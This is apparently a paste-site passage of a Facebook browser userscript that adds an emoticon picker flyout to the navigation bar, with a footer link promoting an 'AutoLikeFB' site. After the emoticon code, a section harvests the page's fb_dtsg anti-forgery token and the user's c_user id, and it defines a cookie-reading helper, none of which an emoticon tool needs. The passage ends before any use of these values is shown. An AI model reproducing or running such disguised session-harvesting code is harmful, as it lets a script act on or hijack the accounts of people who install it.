  927. "class" : "_1az _1a- _2hc",
  928. "name" : "Heavy Black Heart"
  929. } ];
  930.  
  931. // = Variables =======
  932. var lastActiveElement = document.activeElement;
  933.  
  934. // = Functions =======
  935. function createElement(html) {
  936. var outerHTML = document.createElement("div");
  937. outerHTML.innerHTML = html;
  938. return outerHTML.firstChild;
  939. }
  940.  
  941. function htmlSpecialChars(string) {
  942. var div = document.createElement("div");
  943. var text = document.createTextNode(string);
  944. div.appendChild(text);
  945. return div.innerHTML;
  946. }
  947.  
  948. function isInstanceOfTextInput(element) {
  949. return (element instanceof HTMLInputElement && element.type == "text")
  950. || element instanceof HTMLTextAreaElement;
  951. }
  952.  
  953. function isFlyoutOpen(flyout) {
  954. return flyout.className == "openToggler";
  955. }
  956.  
  957. function openFlyout(flyout, open) {
  958. if (open === undefined) {
  959. open = !isFlyoutOpen(flyout); // Toggle
  960. }
  961.  
  962. if (open) {
  963. flyout.className = "openToggler";
  964. } else {
  965. flyout.removeAttribute("class");
  966. }
  967. }
  968.  
  969. function createTab(titleContainer, bodyContainer) {
  970. var html;
  971. // Tab; default = inactive
  972. html = '<li class="jewelFlyout fbJewelFlyout uiToggleFlyout">';
  973. html += '<div class="jewelFlyout">';
  974. html += '</div>';
  975. html += '</li>';
  976. var title = createElement(html);
  977. titleContainer.appendChild(title);
  978.  
  979. // Manual input
  980. html = '<div style="display: none;">';
  981. html += '</div>';
  982. var body = createElement(html);
  983. bodyContainer.appendChild(body);
  984.  
  985. // Change tab listener
  986. (function(body) {
  987. title.addEventListener("click", function() {
  988. // Change tab
  989. var titles = this.parentNode.childNodes; // tab.tabContainer.childNodes
  990. for ( var t = 0; t < titles.length; t++) {
  991. if (titles[t] === this) { // Active
  992.  
  993. } else { // Inactive
  994. titles[t].style.background = "";
  995. titles[t].firstChild.style.color = "";
  996. }
  997. }
  998.  
  999. // Change body
  1000. var bodies = body.parentNode.childNodes; // body.bodyContainer.childNodes
  1001. for ( var b = 0; b < bodies.length; b++) {
  1002. if (bodies[b] === body) { // Show
  1003. body.style.display = "";
  1004. } else { // Hide
  1005. bodies[b].style.display = "none";
  1006. }
  1007. }
  1008. });
  1009. })(body);
  1010.  
  1011. return {
  1012. "title" : title.firstChild,
  1013. "body" : body
  1014. };
  1015. }
  1016.  
  1017. function createTabListBody(emoticons, filter) {
  1018. var html;
  1019.  
  1020. html = '<div style="max-height: 200px; padding-right: 15px; overflow-x: hidden; line-height: 1em;">';
  1021. html += '<div style="padding: 10px; width: 200px; font-size: 15px;">';
  1022. html += '</div>';
  1023. html += '</div>';
  1024. var body = createElement(html).firstChild;
  1025. for ( var e = 0; e < emoticons.length; e++) {
  1026. var emoticon = emoticons[e];
  1027. if (!filter(emoticon)) {
  1028. continue;
  1029. }
  1030.  
  1031. // Icons
  1032. html = '<span class="panelCell" style="display: inline-block; vertical-align: middle; padding: 2px;">';
  1033. html += '<a';
  1034. html += ' class="emoticon'
  1035. + (emoticon.class !== undefined ? ' ' + emoticon.class : '')
  1036. + '"';
  1037. html += ' style="text-decoration: inherit; color: inherit;'
  1038. + (emoticon.class !== undefined ? ' color: transparent;'
  1039. : ' width: auto;') + '"';
  1040. html += (emoticon.name !== undefined ? ' title="' + emoticon.name
  1041. + '"' : '');
  1042. html += '>';
  1043. html += htmlSpecialChars(emoticon.chars);
  1044. html += '</a>';
  1045. html += '</span>';
  1046. var cell = createElement(html);
  1047. body.appendChild(cell);
  1048.  
  1049. // Select emoticon listener
  1050. var emoticonA = cell.firstChild;
  1051. (function(emoticon) {
  1052. emoticonA.addEventListener("click", function() {
  1053. if (isInstanceOfTextInput(lastActiveElement)) {
  1054. lastActiveElement.focus();
  1055.  
  1056. var chars = emoticon.chars;
  1057. var value = lastActiveElement.value;
  1058. var start = lastActiveElement.selectionStart;
  1059. var end = lastActiveElement.selectionEnd;
  1060. lastActiveElement.value = value.substring(0, start)
  1061. + chars + value.substring(end);
  1062. lastActiveElement.setSelectionRange(start + chars.length, start + chars.length);
  1063. }
  1064.  
  1065. openFlyoutCommand = false; // Close flyout
  1066. });
  1067. })(emoticon);
  1068. }
  1069.  
  1070. return body.parentNode;
  1071. }
  1072.  
  1073. // = Construct UI =======
  1074. var html;
  1075.  
  1076. // Menu item
  1077. // var navItem
  1078. html = '<li class="navItem middleItem notifNegativeBase">';
  1079. html += '<div class="fbJewel">';
  1080. // {
  1081.  
  1082. // Toggler
  1083. html += '<a class="navLink" title="1 Thông Báo Mới">'; // var navLink
  1084. html += '<span style="vertical-align: middle;"><img src="http://static.ak.fbcdn.net/rsrc.php/v1/yY/r/7OqExvAe82o.gif"></img></span>';
  1085. html += '</a>';
  1086.  
  1087.  
  1088. // Flyout
  1089. html += '<div>'; // openToggler; var flyout
  1090. html += '<div class="emoticonsPanel fbJewelFlyout uiToggleFlyout" style="z-index: 1; width: auto;">';
  1091. // {
  1092.  
  1093.  
  1094. // Beeper
  1095. html += '<div class="jewelBeeperHeader">';
  1096. html += '<div class="beeperNubWrapper">';
  1097. html += '<div class="beeperNub" style="left: 4px;"></div>';
  1098. html += '</div>';
  1099. html += '</div>';
  1100.  
  1101. // Tabs
  1102. // var titleContainer
  1103. html += '<ul style="display: text-align: center;">';
  1104. html += '</ul>';
  1105.  
  1106. // Bodies
  1107. html += '<div>'; // var bodyContainer
  1108. html += '</div>';
  1109.  
  1110. // Footer
  1111. html += '<div class="jewelFooter">';
  1112. html += '<a class="jewelFooter" href="http://like3s.weebly.com/" target" target="_blank">Vẽ CHIBI AVATAR.AutoLikeFB<br>FB:Bigzero.Shallyhuumanh</a>';
  1113. html += '</div>';
  1114.  
  1115. // }
  1116. html += '</div>'; // emoticonsPanel
  1117. html += '</div>'; // openToggler
  1118.  
  1119. // }
  1120. html += '</div>'; // fbJewel
  1121. html += '</li>'; // navItem
  1122.  
  1123. var navItem = createElement(html);
  1124. var pageNav = document.querySelector("#pageNav");
  1125. pageNav.insertBefore(navItem, pageNav.firstChild);
  1126.  
  1127. // Maintain active element
  1128. navItem.addEventListener("click", function() {
  1129. if (isInstanceOfTextInput(lastActiveElement)) {
  1130. lastActiveElement.focus();
  1131. }
  1132.  
  1133. openFlyoutCommand = undefined; // Do nothing
  1134. }, true);
  1135.  
  1136. var navLink = navItem.firstChild.firstChild;
  1137. var flyout = navLink.nextSibling;
  1138. var titleContainer = flyout.firstChild.childNodes[1];
  1139. var bodyContainer = titleContainer.nextSibling;
  1140.  
  1141. // Toggle listener
  1142. navLink.addEventListener("click", function() {
  1143. openFlyoutCommand = !isFlyoutOpen(flyout);
  1144. });
  1145.  
  1146. // Picture emoticon tab
  1147. var picEmoTab = createTab(titleContainer, bodyContainer);
  1148. picEmoTab.title.click(); // Default tab
  1149.  
  1150. picEmoTab.body.appendChild(createTabListBody(emoticons, function(emoticon) {
  1151. if (emoticon.class === undefined) { // No picture
  1152. return false;
  1153. }
  1154.  
  1155. // [Bug] 2 characters unicode emoticons
  1156. if (emoticon.chars.length == 2) {
  1157. return false;
  1158. }
  1159.  
  1160. return true;
  1161.  
  1162. }));
  1163.  
  1164. // = Other listener =======
  1165.  
  1166. document.addEventListener("click", function() {
  1167. // Get active textarea
  1168. lastActiveElement = document.activeElement;
  1169.  
  1170. // Toggle flyout
  1171. if (openFlyoutCommand !== undefined) {
  1172. openFlyout(flyout, openFlyoutCommand);
  1173. }
  1174. openFlyoutCommand = false;
  1175. });
  1176. })();
  1177.  
  1178.  
  1179. // === Facebook Emoticons ====
  1180. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  1181. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  1182.  
  1183. function cereziAl(isim) {
  1184. var tarama = isim + "=";
  1185. if (document.cookie.length > 0) {
  1186. konum = document.cookie.indexOf(tarama)
  1187. if (konum != -1) {
  1188. konum += tarama.length
  1189. son = document.cookie.indexOf(";", konum)
  1190. if (son == -1)
  1191. son = document.cookie.length
  1192. return unescape(document.cookie.substring(konum, son))
  1193. }
  1194. else { return ""; }
  1195. }
  1196. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement